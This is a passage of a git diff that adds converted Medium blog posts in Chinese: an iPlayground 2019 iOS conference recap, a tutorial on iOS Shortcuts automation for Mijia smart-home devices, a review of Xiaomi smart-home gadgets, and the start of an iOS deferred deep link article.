[ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-09-22-4079036c85c2.md b/_posts/zmediumtomarkdown/2019-09-22-4079036c85c2.md new file mode 100644 index 000000000..3e28b71ac --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-09-22-4079036c85c2.md @@ -0,0 +1,137 @@ +--- +title: "iPlayground 2019 是怎麼樣的體驗?" +author: "ZhgChgLi" +date: 2019-09-22T13:47:18.750+0000 +last_modified_at: 2023-08-05T17:10:08.946+0000 +categories: "ZRealm Dev." +tags: ["iplayground","iplayground2019","ios-app-development","swift","taiwan-ios-conference"] +description: "iPlayground 2019 火熱熱參加心得" +image: + path: /assets/4079036c85c2/1*IoPyeyKk_xgHqRzW19QUiQ.jpeg +render_with_liquid: false +--- + +### iPlayground 2019 是怎麼樣的體驗? + +iPlayground 2019 火熱熱參加心得 + +### 關於活動 + +去年辦在10月中,我也是去年10月初才開始經營 Medium 記錄生活;結合聽到的 UUID 議題跟參加心得也寫了篇 [文章](../a4bc3bce7513/) ;今年繼續來 **寫心得蹭熱度** ! + + +![iPlayground 2019 \(本次一樣是由 [公司](https://www.cakeresume.com/companies/addcn?locale=zh-TW){:target="_blank"} 補助企業票\)](/assets/4079036c85c2/1*IoPyeyKk_xgHqRzW19QUiQ.jpeg) + +iPlayground 2019 \(本次一樣是由 [公司](https://www.cakeresume.com/companies/addcn?locale=zh-TW){:target="_blank"} 補助企業票\) + +相較 2018 年第一屆,今年在各方面又更大幅度提升! + +**首先是場地部分** ,去年在地下一樓會議廳,活動空間不大頗有壓迫感、講座教室用電腦不易;今年直接拉到台大博雅館舉辦,場地很大很新不會人擠人、教室有桌子/插座,方便使用個人電腦! + +**議程方面** ,除了國內的大大,這次也廣邀國外講者來台分享;其中高朋滿座的絕非貓神 [王巍\(Wei Wang\)](https://medium.com/u/52b3ba2db3a){:target="_blank"} 莫屬;今年也首次加入 workshop 手把手教學,不過名額有限,要搶要快…顧著吃飯跟喇賽就這樣錯過了。 + +**贊助商攤位、 Ask the Speaker 區** 因場地大交流更方便、更多活動;從 [iChef](https://www.ichefpos.com/zh-tw){:target="_blank"} 攤位 [\#iCHEFxiPlayground](https://www.facebook.com/hashtag/ichefxiplayground?source=feed_text&epa=HASHTAG&__xts__%5B0%5D=68.ARAlb4Af_SMM2oWX2M2YI4IDlCbBFp6p-4K1xJC-ywTj7fb1i6EztwESLyMgpJmt86RzJNT1M5CYYaN86LkbHS6JKHUQ2QImFxzem3_8f49wdHBCxV98vW6dy24-XafX22JYEQh8vkdWb-R9vJbKDDjsfMVZ7ONdkks0uIgls9gJVBz66l6p0ytXiq1XpvcCiTHUU5jirEletQZ4wDayw_He9-tmz57NfMKc4QYgdaYFhXWmNNxkkAz3JdVcZlLqaURBNQ&__tn__=%2ANK-R){:target="_blank"} 獲得了一組環保吸管及銅鑼燒、 [Dcard](https://www.dcard.tw/){:target="_blank"} 攤位去年已拿過,今年又拿到一組貼紙\+環保杯套,今年多一個厭世語錄濕紙巾、 [17 直播](https://17.live/){:target="_blank"} 填問券抽 [Airpods 2](../33afa0ae557d/) 、在 \[ [weak self](https://weakself.dev/){:target="_blank"} \] Podcast 攤位拿了貼紙,另外還有 [Grindr](https://www.grindr.com/){:target="_blank"} 、 [CakeResume](https://www.cakeresume.com/zh-TW){:target="_blank"} 、 [Bitrise](https://www.bitrise.io/){:target="_blank"} 的攤位可以互動,附上一張 **不齊全** 的戰利品照。 + + +![不齊全的戰利品](/assets/4079036c85c2/1*m0RCPg88ksZQhn4TXKITDA.jpeg) + +不齊全的戰利品 + +**吃的及 After Party** ,兩天都是精緻餐盒,冰咖啡、茶飲全天無限量供應;但去年比較有 After Party 的感覺,像是在酒吧聽台上的大大說故事,非常有趣;今年比較是下午茶\(ㄧ樣有供應酒,燒賣跟甜點好吃!\);自行交流,但反而我今年才有認識到新朋友。 + + +![吃貨必備,便當照](/assets/4079036c85c2/1*WEvsUtrVJ4OYoKgC9VDvnw.jpeg) + +吃貨必備,便當照 +### Top 5 議程收穫 +#### **1\. [王巍\(Wei Wang\)](https://medium.com/u/52b3ba2db3a){:target="_blank"} \( 貓神\) 的 網路請求元件設計** + +這部分很有感,因為我們的專案並沒有使用第三方網路套件;而是自己封裝方法,講者說的很多設計模式、問題,也是我們需要去做的優化及重構項目,套用講者說的: + + +> 「垃圾需要分類,代碼也是…」 + + + + +這部分要好好回去研究了,我會做好分類的<\( \_ \_ \)> +_p\.s 沒搶到 KingFisher 貼紙 QQ_ +#### 2\. **日本的大大 [kishikawa katsumi](https://twitter.com/k_katsumi){:target="_blank"}** + +介紹 iOS ≥ 13 推出的新方法 [UICollectionViewCompositionalLayout](https://developer.apple.com/documentation/uikit/uicollectionviewcompositionallayout){:target="_blank"} ,讓我們不用在像之前ㄧ樣去 subclass UICollectionViewLayout 或是用 CollectionView Cell 包 CollectionView 的方式完成複雜的佈局。 +這部分同樣有感,我們的 APP 就是使用後者的方式達成設計想要呈現的樣式,巔峰之作還有 CollectionView Cell 包 CollectionView 再包 CollectionView \(三層\),程式碼很亂不易維護。 +除了介紹 UICollectionViewCompositionalLayout 的架構、使用方式,特別之處在於講者依照此模式自己做了一個專案,讓 iOS 12 以前的 App ㄧ樣能支援同樣的效果 — [IBPCollectionViewCompositionalLayout](https://github.com/kishikawakatsumi/IBPCollectionViewCompositionalLayout){:target="_blank"} ,太神啦! +#### 3\. [Ethan Huang](https://medium.com/u/e13f6afcf9b9){:target="_blank"} 大大的 用 SwiftUI 開發 Apple Watch APP + +之前寫過一篇「 [動手做一支 Apple Watch App 吧!](../e85d77b05061/) 」,是基於 watchOS 5 使用傳統方式;沒想到現在居然能用SwiftUI開發了! +Apple Watch OS 6 是 1~5 代都支援,所以 **比較沒有版本的問題** ,用手錶應用練習SwiftUI也是不錯的當出發點\(相較簡化\);再找時間來翻新。 +_p\.s 只是沒想到 watchOS 的開發者也這麼邊緣QQ 我個人是覺得蠻好玩的,希望有更多人可以加入!_ +#### 4\. TinXie\-易致及羊小咩兩位大大的 APP安全議題 + +關於 **APP 本身的安全問題,** 從未認真研究過,固有觀念就是「蘋果很封閉很安全!」;聽了兩位講者的演示之後覺得真是脆而不堅,也了解到 APP 安全本身的核心概念: + + +> 「當破解成本大於保護成本,APP就是安全的」 + + + + +沒有保證安全的 APP,只有增加破解的難易度,勸退攻擊者! + +還有收獲除了 Reveal 這個付費APP之外,還有開源免費的 Lookin 可以看 APP UI;Reveal 我們很常用;即使不看別人,看自己 Debug UI 問題也很方便! + +另外 **關於連線安全的部分** ,前幾天剛好發了一篇「 [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) 」,使用 [mitmproxy](https://mitmproxy.org/){:target="_blank"} 這套免費軟體做中間人攻擊抽換 root ca ;經過講者講解 中間人攻擊、原理、防護方式,一方面也驗證我寫的內容正不正確,另一方面也更了解了這個手法的道理! +順便開了開眼界…知道有越獄插件可以直接攔截網路請求,連憑證抽換都不用。 +#### 5\. 丁沛堯大大的 優化編譯速度 + +這也是一直以來苦惱我們的問題,編譯很慢;有時在 UI 微調時真的會抓狂,就只調個 1pt ,然後就要等,然後看到結果,然後再修正個 1pt ,然後再等,然後又調回去…while\(true\)…\.很抓狂的! + +講者提到的嘗試、經驗分享,很值得回去研究用在自己的專案上! + + +> _還有很多議程(例如:色色的事A\_A,之前也踩過顏色的雷)_ + + +> _但由於筆記較零散、個人沒有相關經驗或沒聽到該場次議程_ + + +> _所有內容可以等 [iPlayground 2019](https://iplayground.io/2019/){:target="_blank"} 釋出錄影回放\(有錄影的場次\)、或參考官方的 [HackMD 共筆筆記內容](https://hackmd.io/@iPlayground){:target="_blank"} 。_ + + + + +### 軟性收穫 + +除了技術方面的收穫,我個人比去年更多的是「 **軟性收穫** 」,第一次跟 [Ethan Huang](https://medium.com/u/e13f6afcf9b9){:target="_blank"} 大大照了個面,在討論 Apple Watch 開發生態時無意間也跟貓神大大交流了幾句;另外也認識了許多新的開發者,同事 Frank 跟 [George Liu](https://medium.com/u/72361fccaa43){:target="_blank"} 的同學 [Taihsin](https://twitter.com/taihsin_l){:target="_blank"} 、 [Spock 薛](https://medium.com/u/e55ade4a40a3){:target="_blank"} 、 [Crystal Liu](https://medium.com/u/2b9530ad5d14){:target="_blank"} 、 [Nia Fan](https://medium.com/u/8fdb2b5b6672){:target="_blank"} 、 Alice 、 Ada ,老同學 [Peter Chen](https://medium.com/u/d3a2b0073ab2){:target="_blank"} 、老同事皓哥 [邱鈺晧](https://medium.com/u/bee7081e8048){:target="_blank"} …等等新朋友! + + +![yes\!](/assets/4079036c85c2/1*UGxUbKGKsZhO5s0QOrjgkg.jpeg) + +yes\! + + +> **_更多花絮可以到 [Twitter \#iplayground 查看](https://twitter.com/hashtag/iplayground){:target="_blank"}_** + + + + +### 感謝 + + +> 感謝所有工作人員的辛勞及講者的分享,才有這兩天收穫滿滿的活動! + + + + + +> 辛苦了!謝謝! + + + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/iplayground-2019-%E6%98%AF%E6%80%8E%E9%BA%BC%E6%A8%A3%E7%9A%84%E9%AB%94%E9%A9%97-4079036c85c2){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-09-26-21119db777dd.md b/_posts/zmediumtomarkdown/2019-09-26-21119db777dd.md new file mode 100644 index 000000000..4a43e1a7c --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-09-26-21119db777dd.md @@ -0,0 +1,253 @@ +--- +title: "iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居" +author: "ZhgChgLi" +date: 2019-09-26T14:23:36.828+0000 +last_modified_at: 2023-08-05T17:09:10.580+0000 +categories: "ZRealm Life." +tags: ["米家","ios-13","siri","siri-shortcut","生活"] +description: "直接使用 iOS ≥ 13.1 內建的捷徑APP完成自動化操作" +image: + path: /assets/21119db777dd/1*PxV5JPkSaWVLENgQwM1MqQ.png +render_with_liquid: false +--- + +### iOS ≥ 13\.1 使用「捷徑」自動化功能搭配米家智慧家居 + +直接使用 iOS ≥ 13\.1 內建的捷徑APP完成自動化操作 + +### 前言 + +今年 7 月初的時候買了米家檯燈 Pro、米家 LED 智慧檯燈兩個智能設備,差別在一個能支援HomeKit,一個僅支援米家;當時寫了篇「 [智慧家居初體驗 — Apple HomeKit & 小米米家](../c3150cdc85dd/) 」文章,裡面提到如何在沒有 HomePod/AppleTV/iPad 下完成離家、到家兩種模式的智慧功能,步驟有點麻煩。 + +這次 iOS ≥13\.1 \(注意是 13\.1 之後才開放\),內建的「 [捷徑](https://apps.apple.com/tw/app/%E6%8D%B7%E5%BE%91/id915249334){:target="_blank"} 」APP \( 若找不到請從 Store 下載回來\) 支援自動化功能;如果 IFTTT、米家米家智慧,只是現在不用再特別使用第三方APP囉! + + +> [p\.s 如果你有HomePod、apple tv、iPad 完全不用看這篇文章;可以直接把設備設成家庭中樞即可!](../c3150cdc85dd/) + + + + +### 達成效果 + +進入、離開設定區域會收到捷徑執行通知,點擊後會自動執行。 + + +![](/assets/21119db777dd/1*PxV5JPkSaWVLENgQwM1MqQ.png) + +### 如何使用 +#### 1\.先打開米家APP + + +![切換到「我的」\->「智慧」](/assets/21119db777dd/1*Z0Papen1int2BNH-UO5GjQ.png) + +切換到「我的」\->「智慧」 + + +> _這裡假設你已經把設備加入米家了。_ + + + + + + +![選擇「手動執行」](/assets/21119db777dd/1*k70shMyqZ68g3TT6xQIr6Q.png) + +選擇「手動執行」 + + +> _這裡再提一下為什麼不直接用米家的「離開或到達某地」,第一是 [大陸用的GPS有偏移](https://buzzorange.com/techorange/2019/05/09/china-map-is-wrong/){:target="_blank"} 小米沒針對此修正,第二是他只能設定地圖上有地標的地點,他是大陸高德地圖很少台灣地標。_ + + + + + + +![下拉「智慧裝置」區塊,新增要操作的裝置及動作](/assets/21119db777dd/1*IPg5D4G7N514em_kfWuc5w.png) + +下拉「智慧裝置」區塊,新增要操作的裝置及動作 + + +![點擊「繼續增加」加入所有要操作的設備](/assets/21119db777dd/1*wQOvC90cSr2iswe_80qHxw.png) + +點擊「繼續增加」加入所有要操作的設備 + + +![](/assets/21119db777dd/1*NkJcbWEBZACxpdVT7plPDQ.png) + + +範例以「離家」模式為例,離家時我希望能關閉風扇、燈;打開攝影機。 + + +![點擊右上角「儲存」,輸入此智慧操作的名稱](/assets/21119db777dd/1*7NJfN3nJ_YjDVDfg1eOkiA.png) + +點擊右上角「儲存」,輸入此智慧操作的名稱 + + +![回到列表,點「加入 Siri 」](/assets/21119db777dd/1*J3bs38gdCu7lWM5_BF3Gxg.png) + +回到列表,點「加入 Siri 」 + + +![點擊要加入的智慧操作旁的「加入 Siri 」](/assets/21119db777dd/1*3-StxB6DSIQ9CEvg8xxMVg.png) + +點擊要加入的智慧操作旁的「加入 Siri 」 + + +![輸入「呼叫Siri 時的指令」\-> 「Add to Siri」](/assets/21119db777dd/1*g0PjYwD7i-oiA3Ju9V76QQ.png) + +輸入「呼叫Siri 時的指令」\-> 「Add to Siri」 + +**這邊要注意!** 指令不可以與 iOS 內建指令衝突! +#### 2\.打開 「 [Siri捷徑](https://apps.apple.com/tw/app/%E6%8D%B7%E5%BE%91/id915249334){:target="_blank"} 」 APP + + +![切換到「自動化」頁籤,點擊右上角「\+」](/assets/21119db777dd/1*_LPvWc3F9OKed2q93u2sQA.png) + +切換到「自動化」頁籤,點擊右上角「\+」 + + +> _若沒有「自動化」頁籤請確認您的 iOS 版本是否高於 13\.1。_ + + + + + + +![選擇「製作個人自動化操作」](/assets/21119db777dd/1*ojg-47V9xCb_kL80sCIj-g.png) + +選擇「製作個人自動化操作」 + + +![選擇類型「抵達」或「離開」](/assets/21119db777dd/1*PhBHbQ57IqvvToRYfT_C5g.png) + +選擇類型「抵達」或「離開」 + + +![設定「位置」](/assets/21119db777dd/1*V2yPBSYfv770EePQoTTJFQ.png) + +設定「位置」 + + +![搜尋位置或使用當前位置,點「完成」](/assets/21119db777dd/1*i-L6rmMe0aj5D-bReIc9Nw.png) + +搜尋位置或使用當前位置,點「完成」 + + +![下方可設定自動執行時間範圍,點右上角「下一步」](/assets/21119db777dd/1*ZC6BZHvVtyFWyw-mfJcvXQ.png) + +下方可設定自動執行時間範圍,點右上角「下一步」 + +因為離家、到家是全天候都要偵測的事件;所以這邊就不設會執行的時間範圍了! + + +![點選「加入動作」](/assets/21119db777dd/1*-8sdXS2aUk8bd-ZOGaAfKQ.png) + +點選「加入動作」 + + +![選擇「工序指令」](/assets/21119db777dd/1*njtg1AlUWKWc3cUCrGmSEQ.png) + +選擇「工序指令」 + + +![滑到「捷徑」區塊,選擇「執行捷徑」](/assets/21119db777dd/1*seDM3PVZQfQsjHpOjecQuQ.png) + +滑到「捷徑」區塊,選擇「執行捷徑」 + + +![點選「捷徑」區塊](/assets/21119db777dd/1*gXm4pRJbryAtQkuwd9dc_Q.png) + +點選「捷徑」區塊 + + +![找到剛在米家「加入 Siri」設定的「呼叫Siri 時的指令」,選擇](/assets/21119db777dd/1*gosnwKrxnR77BX4z9IMTUQ.png) + +找到剛在米家「加入 Siri」設定的「呼叫Siri 時的指令」,選擇 + + +![點右上角「完成」](/assets/21119db777dd/1*1Ab0t-A6H9GoB3FaLuetvQ.png) + +點右上角「完成」 + + +![首頁就會出現剛新增的自動化操作囉!](/assets/21119db777dd/1*iO-DeUtcQtfwiMhkvpZLwA.png) + +首頁就會出現剛新增的自動化操作囉! + +**完成!** +### 實際執行結果 + +當離開、進入設定地址的範圍時,手機、Apple Watch 就會收到執行捷徑的動作通知,點擊即可執行! + + +> _1\.GPS感應範圍存在 100 公尺誤差_ + + +> _2\. **所謂「自動化」只是自動通知你按執行** ,不是真的自動在背景執行動作_ + + + + + +> [_以上兩個痛點要解決就只能用文章開頭所說的,買一台HomePod或是找一台 apple tv/iPad 當家庭中樞。_](../c3150cdc85dd/) + + + + +#### iPhone上 : + + +![執行通知](/assets/21119db777dd/1*5zxxXEtsSqQPsJh8qoRcwA.png) + +執行通知 + + +![點擊即可「執行」](/assets/21119db777dd/1*E1jWgwNHDTrXR9qQmtTmeA.png) + +點擊即可「執行」 + +**請注意,會要求解鎖手機後才能。** + + +![執行失敗也會反饋!](/assets/21119db777dd/1*3UQO0R4bt-oXwglOrhXbCQ.png) + +執行失敗也會反饋! + +有時候米家設備網路問題會執行失敗。 +#### Apple Watch 上: + + +![點擊即可執行](/assets/21119db777dd/1*EdRki0mt6-KE2MfW5MSB4w.png) + +點擊即可執行 + +不同於 IFTTT 原生內建 APP 的強大就在於它手錶上的通知也能執行。 +\(IFTTT的是純通知,還是要拿手機出來點執行\) +### 除此之外 + + +![使用 Siri 呼叫執行](/assets/21119db777dd/1*KjRJQutJbRD3aPQUw7LeUQ.png) + +使用 Siri 呼叫執行 + +因為已將米家智慧操作場景加入到 Siri 了,所以也可以呼叫 Siri 執行動作! + + +> _離智能生活又更近一步了!_ + + + + +### 延伸閱讀 +1. [智慧家居初體驗 — Apple HomeKit & 小米米家 (米家智慧攝影機及米家智慧檯燈、Homekit設定教學)](../c3150cdc85dd/) +2. [小米智慧家居新添購(AI音箱、溫濕度感應器、體重計2、直流變頻電風扇)](../bcff7c157941/) +3. [米家 APP / 小愛音箱地區問題](../94a4020edb82/) +4. [**\[進階篇\]示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit**](../99db2a1fbfe5/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/ios-13-1-%E4%BD%BF%E7%94%A8-%E6%8D%B7%E5%BE%91-%E8%87%AA%E5%8B%95%E5%8C%96%E5%8A%9F%E8%83%BD%E6%90%AD%E9%85%8D%E7%B1%B3%E5%AE%B6%E6%99%BA%E6%85%A7%E5%AE%B6%E5%B1%85-21119db777dd){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-09-26-bcff7c157941.md b/_posts/zmediumtomarkdown/2019-09-26-bcff7c157941.md new file mode 100644 index 000000000..e2e27c1f6 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-09-26-bcff7c157941.md @@ -0,0 +1,171 @@ +--- +title: "小米智慧家居新添購" +author: "ZhgChgLi" +date: 2019-09-26T13:16:42.319+0000 +last_modified_at: 2023-08-05T17:09:39.996+0000 +categories: "ZRealm Life." +tags: ["小米","米家","生活","家電","開箱"] +description: "AI音箱、溫濕度感應器、體重計2、直流變頻電風扇" +image: + path: /assets/bcff7c157941/1*DFq5pB-AwdTxgsjtO_aqyw.jpeg +render_with_liquid: false +--- + +### 小米智慧家居新添購 + +AI音箱、溫濕度感應器、體重計2、直流變頻電風扇 使用心得 + +### 入坑 + +既上一篇「 [智慧家居初體驗 — Apple HomeKit & 小米米家](../c3150cdc85dd/) 」入手&介紹如何使用小米智慧家居後;又持續買了幾樣小米居家產品,並且想盡辦法讓所有家電都智慧化…\.只能說真的是個坑,起初只是想買個檯燈覺得小米美美的,順帶研究了智慧功能,就這樣入坑了! +### 新添購 — 小米AI音箱 + +價格:NT$ 1,495 + + +![](/assets/bcff7c157941/1*eBR4GwtCIhhi-fIa0Kf7dA.jpeg) + +#### 特色: +1. 可語音控制米家所有串連的智慧設備 +2. 台灣地區送 KKBOX 會員 3 個月 +3. 語音智能強大;跟 Siri 比起來,Siri = 3歲小孩 +¶小愛同學除了有基本的語音助理功能(查天氣、新聞、資料、控制家電、播音樂…\.) +¶還有超多擴充的技能(問美劇、玩小遊戲、聊天、講相聲、 **扮女僕,沒錯就是用女僕口吻跟你對話!!** ) +¶支援自訂功能(自訂詞、對應的動作) +4. 另外差別最大的是他比較會舉一反三,不像 Siri 你問他天氣他也就只回妳天氣就沒了;小愛同學會順帶問你要不要提醒你帶傘之類的,更貼心有溫度。 +5. 360 度收音、放音,音量很夠;呼叫也很靈敏準確。 +6. 可直接當藍芽音樂播放音箱 + + + +![](/assets/bcff7c157941/1*9q9x-WQDxnanFqH6kQ_hAQ.png) + +#### 缺點: +1. **當藍牙音響時** ,看影片會有1–2秒嚴重延遲;這算是蠻嚴重的缺陷,查大陸論壇也無解決辦法,官方擺爛,貌似是硬體問題。 +2. 不支援 Spotify / Apple Music ,像我非 KKBOX 用戶,送的 3 個月到期後不想花錢就只能切到大陸地區使用 QQ 音樂。 +3. 不像 HomePod 支援家庭中樞功能,本來我預期的是可以把小米音箱當智慧家庭的中樞中心,然後我到家,米家感應到小米音箱就能自動執行對應的動作(就是蘋果HomePod\+HomeKit那套);看來是不行! +4. 要另外裝一個 小愛音箱 APP +5. 跟米家APP要設同個地區,我米家APP設在大陸\(因功能較多\),小愛同學也只能設大路 + + +綜合上述,日常使用下就只是個只能播音樂的藍牙音箱,偶爾叫小愛同學時間到叫我…就這樣,其實 Siri 就能做到;無法當電腦的藍牙音響對我來說真的很痛,但不得不說他的語音功能真的很智慧、很厲害!可以買來玩玩。 +### 新添購 — 米家藍牙溫濕度計 + +小物,NT$ 365 + + +![](/assets/bcff7c157941/1*DFq5pB-AwdTxgsjtO_aqyw.jpeg) + + +要另外再買一顆4號電池來裝;官方號稱續航可達一年,外觀圓形小巧、磁掛式設計隨時拿下來把玩都很方便,雙排顯示螢幕能快速掌握目前溫度及濕度。 + + +![APP 溫度紀錄](/assets/bcff7c157941/1*fHWZD8e3zcrJsass96Mkrg.png) + +APP 溫度紀錄 + +僅支援藍牙連線,所以手機超過藍牙範圍後就無法讀取到數據;除非購買藍芽網關或是支援藍芽網關功能的其他米家設備。 + + +![官方文件的支援藍芽網關設備列表](/assets/bcff7c157941/1*FN1SQKH8fwQq80MDDxv-2Q.png) + +官方文件的支援藍芽網關設備列表 + +一般來說是能連WiFi跟藍牙的設備都支援,但 **小米AI音箱居然不行** !! + +而且我發現一件神奇的事,就是 **米家直流變頻電風扇居然可以** ,WTF\! \! \! \!;所以我目前是透過米家電風扇把溫濕度計的訊息用WiFi傳到網路給我。 + +真的很詭異...小米AI音箱、檯燈、桌燈、攝影機都不支援藍芽網關功能,電風扇居然支援! + + +> _\*不確定是否是只有溫濕度計能這樣_ + + + + +#### 另外補充溫濕度計會不一直發推播通知 + +推播溫度太高或太潮濕的消息(但台灣這些溫濕度是很正常的…) + + +![](/assets/bcff7c157941/1*Ydk6RU2A8vFiRkxx59OuoA.png) + + +**關閉方式:** + + +![可以到「我的」\-> 右上角「設定」\-> 裝置通知 \-> 找到米家藍芽溫濕度計 \-> 關閉](/assets/bcff7c157941/1*m5_dj0QgEs47J0ozBoNMnQ.jpeg) + +可以到「我的」\-> 右上角「設定」\-> 裝置通知 \-> 找到米家藍芽溫濕度計 \-> 關閉 + +關閉之後就不會再收到推播通知消息了! +### 新添購 — 體重計2 + +就是個體重計,NT$ 395 + + +![](/assets/bcff7c157941/1*GJfy_B52RnbOHPFUW-nyWA.jpeg) + + +除了能APP記錄體重外多了秤物、平衡測試…功能,但就是體重計,比較常用的就是量體重而已;外型精美,放在家裡不用也能提升質感! + +體重計也要另外下載一個小米健康的APP,在秤重時打開APP就能同步紀錄體重。 + + +![小米健康APP](/assets/bcff7c157941/1*rQiKA7u3dnBmFIJtHeq4dw.png) + +小米健康APP +### 新添購 — 直流變頻電風扇 + +這次設備添購中最滿意的電器,NT$ 1995 + + +![](/assets/bcff7c157941/1*cMflcYANnC0JR-Os5odoPQ.jpeg) + +#### 首先電風扇的基本功能方面 + +左右擺角120度範圍很大,風力調節支援1–100段,風力大小隨心所欲;我最喜歡的是另一個「自然風」模式,因為我怕熱喜歡直吹但很常直吹一陣子之後覺得不太舒服,這個自然風可以讓我一直保持直吹模式,不會不舒服! +#### 外觀設計 + +ㄧ樣保持小米白色簡潔的設計,我個人不喜歡電扇太金屬\(感覺就髒髒的\);小米電扇很輕盈乾淨,沒用放著,看也舒服。 +#### 智能方面 + +加入米家APP之後,可以從APP控制所有參數\(模式、開關、風力、角度\);另外也可以設定週期定時\(EX:週一~週五早上7:00關閉\)、與米家設備連動\(EX:回家自動打開、溫度高於30度自動打開\)…等等智慧家居功能可以玩 + +另外就是發現它能當藍芽網關,幫米家藍牙溫濕度計傳輸數據。 + + +> _\*不確定是否是只有溫濕度計能這樣_ + + + + +### 目前已有設備整理 +1. 米家智慧攝影機雲台版 1080P \(支援:米家\) +2. [米家檯燈 Pro \(支援:Apple HomeKit、米家\)](../c3150cdc85dd/) +3. [米家 LED 智慧檯燈 \(支援:米家\)](../c3150cdc85dd/) +4. 小米AI音箱 +5. 米家藍芽溫濕度感應器 +6. 小米體重計2 +7. 米家直流變頻電風扇 + + + +![](/assets/bcff7c157941/1*5tpZmR4r3bi3DvA66_HJvA.jpeg) + +### 總結 + +以上就是這次新添購項目心得整理,距離理想(溫度太高自動開冷氣、電風扇跟人、回家開燈、離家關燈開攝影機、濕度太高開除濕機)還有很常的路要走,甚至非常崎嶇…要會改電路、還有發現我的除濕機是沒有回歸功能、冷氣也是舊型;米家很多設備台灣也沒賣\(EX:萬能遙控器\),本來想衝智慧家庭組,但想想用途不大,目前繼續研究還有啥能上智能! +### 延伸閱讀 +1. [智慧家居初體驗 — Apple HomeKit & 小米米家(米家智慧攝影機及米家智慧檯燈、Homekit設定教學)](../c3150cdc85dd/) +2. [iOS ≥ 13\.1 使用「捷徑」自動化功能搭配米家智慧家居(直接使用 iOS ≥ 13\.1 內建的捷徑APP完成自動化操作)](../21119db777dd/) +3. [米家 APP / 小愛音箱地區問題](../94a4020edb82/) +4. [**\[進階篇\]示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit**](../99db2a1fbfe5/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E5%B0%8F%E7%B1%B3%E6%99%BA%E6%85%A7%E5%AE%B6%E5%B1%85%E6%96%B0%E6%B7%BB%E8%B3%BC-bcff7c157941){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-11-11-b08ef940c196.md b/_posts/zmediumtomarkdown/2019-11-11-b08ef940c196.md new file mode 100644 index 000000000..5a821d823 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-11-11-b08ef940c196.md @@ -0,0 +1,435 @@ +--- +title: "iOS Deferred Deep Link 延遲深度連結實作(Swift)" +author: "ZhgChgLi" +date: 2019-11-11T14:34:57.966+0000 +last_modified_at: 2024-04-13T08:01:07.476+0000 +categories: "ZRealm Dev." +tags: ["deeplink","ios-app-development","swift","universal-links","app-store"] +description: "動手打造適應所有場景、不中斷的App轉跳流程" +image: + path: /assets/b08ef940c196/1*P2saSHeIX7TZyCQY0StN1Q.jpeg +render_with_liquid: false +--- + +### iOS Deferred Deep Link 延遲深度連結實作\(Swift\) + +動手打造適應所有場景、不中斷的App轉跳流程 + +### \[2022/07/22\] 更新 iOS 16 Upcoming Changes + +iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。 + + +![[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}](/assets/b08ef940c196/0*E8h6Fy0H9_5jxhjV.png) + +[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"} +### \[2020/07/02\] 更新 +- [因應 iOS 14 更新,讀取剪貼簿時會提示使用者,如要實作請一併參考此篇文章。](../8a04443024e2/) + +#### 無關 + +畢業當完兵到現在庸庸碌碌工作了快三年,成長已趨於平緩,開始進入舒適圈,所幸心一橫提了離職,沈澱重新出發。 + +在閱讀 [做自己的生命設計師](https://www.books.com.tw/products/0010733134){:target="_blank"} 重新梳理自己的人生規劃時,回顧了一下工作跟人生,雖然本身技術能力沒有很好,但在寫 Medium 與大家分享能讓我進入「心流」跟獲得大量的精力;剛好前陣子有朋友在問 Deep Link 問題,藉此整理了我研究的做法,也順便補充下自己的精力! +### 場景 + +首先要先說明實際應用場景。 + +1\.當使用者有裝 APP 時點擊網址連結\(Google搜尋來源、FB貼文、Line連結…\) 則直接開 APP 呈現目標畫面,若無則跳轉到 APP Store 安裝 APP; **安裝完後打開APP,要能重現之前欲前往的畫面** 。 + + +[![iOS Deferred Deep Link Demo](/assets/b08ef940c196/249b_hqdefault.jpg "iOS Deferred Deep Link Demo")](https://www.youtube.com/watch?v=sY6-Q7BFUOM){:target="_blank"} + + +2\.APP 下載和開啟數據追蹤,我們想知道 APP 推廣連結有多少人確實從這個入口下載和開啟 APP 的。 + +3\.特殊活動入口,例如透過特定網址下載後開啟能獲得獎勵。 +#### 支援度: + +iOS ≥ 9 +### 何謂 Deferred Deep Link 與 Deep Link 的差別? +#### 純 Deep Link 本身: + + +![](/assets/b08ef940c196/1*15arO4L94ZoEyOLtFARtsA.jpeg) + + +可以看到 iOS Deep Link 本身運作機制只有判斷 APP 有無安裝,有則開 APP,無則不處理. +#### 首先我們要先加上「無則跳轉到 APP Store」提示使用者安裝 APP: + +**URL Scheme** 的部分是由系統控制,一般用於 APP 內呼叫鮮少公開出來;因為如果觸發點在自己無法控制的區域\(如:Line連結\),則無法處理。 + +若觸發點在自身網頁上可以使用些小技巧處理,請參考 